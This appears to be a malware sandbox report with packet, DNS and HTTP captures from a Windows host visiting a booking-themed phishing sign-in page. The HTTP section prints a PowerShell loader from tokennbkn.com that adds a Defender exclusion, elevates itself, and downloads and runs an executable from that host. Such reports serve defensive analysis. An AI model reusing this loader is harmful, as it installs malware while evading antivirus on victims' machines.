Jun 10, 2025 12:51:03.481487989 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481487989 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481503010 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481522083 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481858969 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481868982 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481920958 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481939077 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481947899 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.483660936 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.483763933 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.555814981 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:03.555833101 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:03.876775980 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.877197981 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.877300978 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.939301968 CEST	49707	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:51:03.939315081 CEST	443	49707	104.18.95.41	192.168.2.6
Jun 10, 2025 12:51:15.111835003 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:51:15.112293959 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:51:15.112354994 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:51:18.072771072 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:51:18.073230028 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:51:18.073288918 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:51:18.075053930 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.075068951 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.075083017 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.075087070 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.076226950 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.138243914 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.219382048 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.363063097 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.402580976 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.402678013 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.402761936 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.403147936 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.403537989 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.403559923 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.403644085 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.403671980 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.404382944 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.551181078 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.635490894 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.665361881 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.665442944 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.714795113 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.714831114 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.714948893 CEST	49704	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.715094090 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.715099096 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.715230942 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.715239048 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.715528011 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.716206074 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.716258049 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.716348886 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.717155933 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.756294012 CEST	443	49704	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.830530882 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.860310078 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.898633003 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.898825884 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.898890972 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:18.898900032 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:18.899771929 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:19.042759895 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:19.043550968 CEST	49728	443	192.168.2.6	35.190.80.1
Jun 10, 2025 12:51:19.084296942 CEST	443	49728	35.190.80.1	192.168.2.6
Jun 10, 2025 12:51:20.932806969 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:51:20.932826042 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:51:21.155303955 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:51:21.155328989 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:51:23.332039118 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:51:23.332056046 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:51:34.727094889 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:51:34.727125883 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:51:35.132235050 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:51:35.132265091 CEST	443	49712	104.21.96.53	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 10, 2025 12:50:10.274925947 CEST	53	51793	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:10.308283091 CEST	53	53083	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:11.309782982 CEST	53	50669	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:11.441252947 CEST	53	63709	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:14.518656969 CEST	55775	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:14.518765926 CEST	62595	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:14.641807079 CEST	53	55775	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:14.641844034 CEST	53	62595	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:16.647586107 CEST	57721	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:16.647850990 CEST	60440	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:16.779894114 CEST	53	60440	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:16.849896908 CEST	53	57721	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:17.794661999 CEST	54263	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:17.794980049 CEST	52700	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:17.917220116 CEST	53	54263	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:17.917542934 CEST	53	52700	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:18.330190897 CEST	55025	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:18.330468893 CEST	58207	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:18.453056097 CEST	53	58207	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:18.453155041 CEST	53	55025	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:18.763667107 CEST	64564	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:18.764055014 CEST	57418	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:18.894033909 CEST	53	57418	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:18.898485899 CEST	53	64564	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:18.905477047 CEST	62807	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:18.905678988 CEST	59772	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:19.028114080 CEST	53	62807	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:19.029226065 CEST	53	59772	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:19.730336905 CEST	60250	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:19.730523109 CEST	55890	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:19.853806019 CEST	53	55890	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:19.853818893 CEST	53	60250	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:28.496546030 CEST	53	55091	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:37.583287954 CEST	50267	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:37.583501101 CEST	63758	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:37.705435038 CEST	53	50085	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:37.705971003 CEST	53	63758	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:37.706486940 CEST	53	50267	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:38.255342960 CEST	53	63608	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:38.515566111 CEST	53	51582	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:47.268239975 CEST	53	58182	1.1.1.1	192.168.2.6
Jun 10, 2025 12:50:51.445508957 CEST	58290	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:50:52.064385891 CEST	53	58290	1.1.1.1	192.168.2.6
Jun 10, 2025 12:51:08.395788908 CEST	138	138	192.168.2.6	192.168.2.255
Jun 10, 2025 12:51:10.118447065 CEST	53	51014	1.1.1.1	192.168.2.6
Jun 10, 2025 12:51:10.595947981 CEST	53	64051	1.1.1.1	192.168.2.6
Jun 10, 2025 12:51:18.073736906 CEST	61428	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:51:18.074018955 CEST	63485	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:51:18.196345091 CEST	53	61428	1.1.1.1	192.168.2.6
Jun 10, 2025 12:51:18.196687937 CEST	53	63485	1.1.1.1	192.168.2.6
Jun 10, 2025 12:51:23.508976936 CEST	51877	53	192.168.2.6	1.1.1.1
Jun 10, 2025 12:51:23.879604101 CEST	53	51877	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 10, 2025 12:50:14.518656969 CEST	192.168.2.6	1.1.1.1	0x5338	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.518765926 CEST	192.168.2.6	1.1.1.1	0xf129	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:16.647586107 CEST	192.168.2.6	1.1.1.1	0x2778	Standard query (0)	booking.home-extranet.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:16.647850990 CEST	192.168.2.6	1.1.1.1	0x948c	Standard query (0)	booking.home-extranet.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:17.794661999 CEST	192.168.2.6	1.1.1.1	0x3962	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:17.794980049 CEST	192.168.2.6	1.1.1.1	0x1f03	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:18.330190897 CEST	192.168.2.6	1.1.1.1	0x58eb	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.330468893 CEST	192.168.2.6	1.1.1.1	0xe779	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:18.763667107 CEST	192.168.2.6	1.1.1.1	0xd10b	Standard query (0)	booking.home-extranet.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.764055014 CEST	192.168.2.6	1.1.1.1	0xceac	Standard query (0)	booking.home-extranet.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:18.905477047 CEST	192.168.2.6	1.1.1.1	0x864a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.905678988 CEST	192.168.2.6	1.1.1.1	0x643a	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:19.730336905 CEST	192.168.2.6	1.1.1.1	0x26d1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:19.730523109 CEST	192.168.2.6	1.1.1.1	0xfe05	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:37.583287954 CEST	192.168.2.6	1.1.1.1	0x6734	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:37.583501101 CEST	192.168.2.6	1.1.1.1	0x1da6	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jun 10, 2025 12:50:51.445508957 CEST	192.168.2.6	1.1.1.1	0xd8ed	Standard query (0)	tokennbkn.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:51:18.073736906 CEST	192.168.2.6	1.1.1.1	0x5d84	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:51:18.074018955 CEST	192.168.2.6	1.1.1.1	0x9d21	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jun 10, 2025 12:51:23.508976936 CEST	192.168.2.6	1.1.1.1	0x4ffb	Standard query (0)	tokennbkn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.147	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.106	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.103	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.105	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.99	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641807079 CEST	1.1.1.1	192.168.2.6	0x5338	No error (0)	www.google.com	142.250.114.104	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:14.641844034 CEST	1.1.1.1	192.168.2.6	0xf129	No error (0)	www.google.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:16.779894114 CEST	1.1.1.1	192.168.2.6	0x948c	No error (0)	booking.home-extranet.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:16.849896908 CEST	1.1.1.1	192.168.2.6	0x2778	No error (0)	booking.home-extranet.com	172.67.173.72	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:16.849896908 CEST	1.1.1.1	192.168.2.6	0x2778	No error (0)	booking.home-extranet.com	104.21.96.53	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:17.917220116 CEST	1.1.1.1	192.168.2.6	0x3962	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.453056097 CEST	1.1.1.1	192.168.2.6	0xe779	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:18.453155041 CEST	1.1.1.1	192.168.2.6	0x58eb	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.453155041 CEST	1.1.1.1	192.168.2.6	0x58eb	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.894033909 CEST	1.1.1.1	192.168.2.6	0xceac	No error (0)	booking.home-extranet.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:18.898485899 CEST	1.1.1.1	192.168.2.6	0xd10b	No error (0)	booking.home-extranet.com	104.21.96.53	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:18.898485899 CEST	1.1.1.1	192.168.2.6	0xd10b	No error (0)	booking.home-extranet.com	172.67.173.72	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:19.028114080 CEST	1.1.1.1	192.168.2.6	0x864a	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:19.028114080 CEST	1.1.1.1	192.168.2.6	0x864a	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:19.029226065 CEST	1.1.1.1	192.168.2.6	0x643a	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:19.853806019 CEST	1.1.1.1	192.168.2.6	0xfe05	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jun 10, 2025 12:50:19.853818893 CEST	1.1.1.1	192.168.2.6	0x26d1	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:19.853818893 CEST	1.1.1.1	192.168.2.6	0x26d1	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:37.706486940 CEST	1.1.1.1	192.168.2.6	0x6734	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:37.706486940 CEST	1.1.1.1	192.168.2.6	0x6734	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:37.706486940 CEST	1.1.1.1	192.168.2.6	0x6734	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:37.706486940 CEST	1.1.1.1	192.168.2.6	0x6734	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:50:52.064385891 CEST	1.1.1.1	192.168.2.6	0xd8ed	No error (0)	tokennbkn.com	45.141.101.104	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:51:18.196345091 CEST	1.1.1.1	192.168.2.6	0x5d84	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false
Jun 10, 2025 12:51:23.879604101 CEST	1.1.1.1	192.168.2.6	0x4ffb	No error (0)	tokennbkn.com	45.141.101.104	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

booking.home-extranet.com

a.nel.cloudflare.com

challenges.cloudflare.com

slscr.update.microsoft.com

code.jquery.com

tokennbkn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	45.141.101.104	80	4132	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2025 12:50:52.714750051 CEST	158	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: tokennbkn.com Connection: Keep-Alive
Jun 10, 2025 12:50:53.023830891 CEST	1358	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:52 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 vary: User-Agent last-modified: Mon, 09 Jun 2025 08:36:39 GMT etag: "46e-6371f7a868a87" accept-ranges: bytes content-length: 1134 Data Raw: 66 75 6e 63 74 69 6f 6e 20 58 73 71 62 6c 65 31 39 32 20 7b 0d 0a 20 20 20 20 77 68 69 6c 65 20 28 24 74 72 75 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 63 72 6c 73 20 3d 20 22 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 27 43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 27 22 0d 0a 0d 0a 20 20 20 20 20 20 20 20 24 61 72 67 73 67 20 3d 20 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 60 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 43 6f 6d 6d 61 6e 64 20 60 24 45 72 72 6f 72 41 63 74 69 6f 6e 50 72 65 66 65 72 65 6e 63 65 3d 27 53 74 6f 70 27 3b 20 24 63 72 6c 73 22 20 60 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 56 65 72 62 20 52 75 6e 41 73 20 60 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 50 61 73 73 54 68 72 75 0d 0a 0d 0a 20 20 20 20 20 20 20 20 24 61 [TRUNCATED] Data Ascii: function Xsqble192 { while ($true) { $crls = "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" $argsg = Start-Process powershell.exe ` -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `$ErrorActionPreference='Stop'; $crls" ` -Verb RunAs ` -PassThru $argsg.WaitForExit() if ($argsg.ExitCode -eq 0) { Start-Sleep -Seconds 5 RxgPsl25 break } else { } }}function RxgPsl25 { $part1 = "http://" $part2 = "tokennbkn.com/" $part3 = "bgj3/" $part4 = "ckjg.exe" $fat = $part1 + $part2 + $part3 + $part4 $part5 = "C:\Windows\Temp\" $part6 = "tybd7" $part7 = ".exe" $avhs = $part5 + $part6 + $part7 $keyPart1 = "ny8" $keyPart2 = "DsFfwg1" $key = $keyPart1 + $keyPart2 $valPart1 = "FLiAH" $valPart2 = "JErkN" $val = $valPart1 + $valPart2 $wcgd = @{} $wcgd[$key] = $v [TRUNCATED]
Jun 10, 2025 12:50:53.023843050 CEST	23	IN	Data Raw: 24 61 76 68 73 0d 0a 7d 0d 0a 0d 0a 58 73 71 62 6c 65 31 39 32 0d 0a Data Ascii: $avhs}Xsqble192

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49702	172.67.173.72	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:17 UTC	955	OUT	GET /sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1 host: booking.home-extranet.com sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=0, i
2025-06-10 10:50:17 UTC	1460	IN	HTTP/1.1 403 Forbidden date: Tue, 10 Jun 2025 10:50:17 GMT content-type: text/html; charset=UTF-8 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin server-timing: chlray;desc="94d84e932bdd69d0" x-content-type-options: nosniff x-frame-options: SAMEORIGIN cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 expires: Thu, 01 Jan 1970 00:00:01 GMT report-to: {"endpoints":[{"url"
2025-06-10 10:50:17 UTC	653	IN	Data Raw: 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 54 30 30 67 4a 54 65 67 6f 71 53 68 41 56 4b 25 32 46 47 68 73 6a 73 31 42 53 4a 6f 77 38 7a 61 34 64 6c 39 61 64 38 76 7a 6d 52 54 38 41 67 25 32 46 36 70 6e 32 6c 30 52 55 30 69 50 25 32 46 66 37 4a 79 65 44 30 64 57 51 63 70 49 5a 5a 39 43 51 73 6a 32 54 48 4c 4f 39 6f 70 79 4a 73 74 66 62 51 75 43 4e 4a 30 39 63 6a 69 41 47 48 59 42 6e 48 4a 67 5a 71 41 37 4a 59 25 32 42 75 71 4d 70 57 30 54 48 25 32 42 44 66 6c 66 78 4c 5a 79 43 47 30 57 52 4a 48 74 70 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 6e 65 6c 3a 20 7b 22 73 75 63 63 65 73 73 Data Ascii: :"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T00gJTegoqShAVK%2FGhsjs1BSJow8za4dl9ad8vzmRT8Ag%2F6pn2l0RU0iP%2Ff7JyeD0dWQcpIZZ9CQsj2THLO9opyJstfbQuCNJ09cjiAGHYBnHJgZqA7JY%2BuqMpW0TH%2BDflfxLZyCG0WRJHtp"}],"group":"cf-nel","max_age":604800}nel: {"success
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 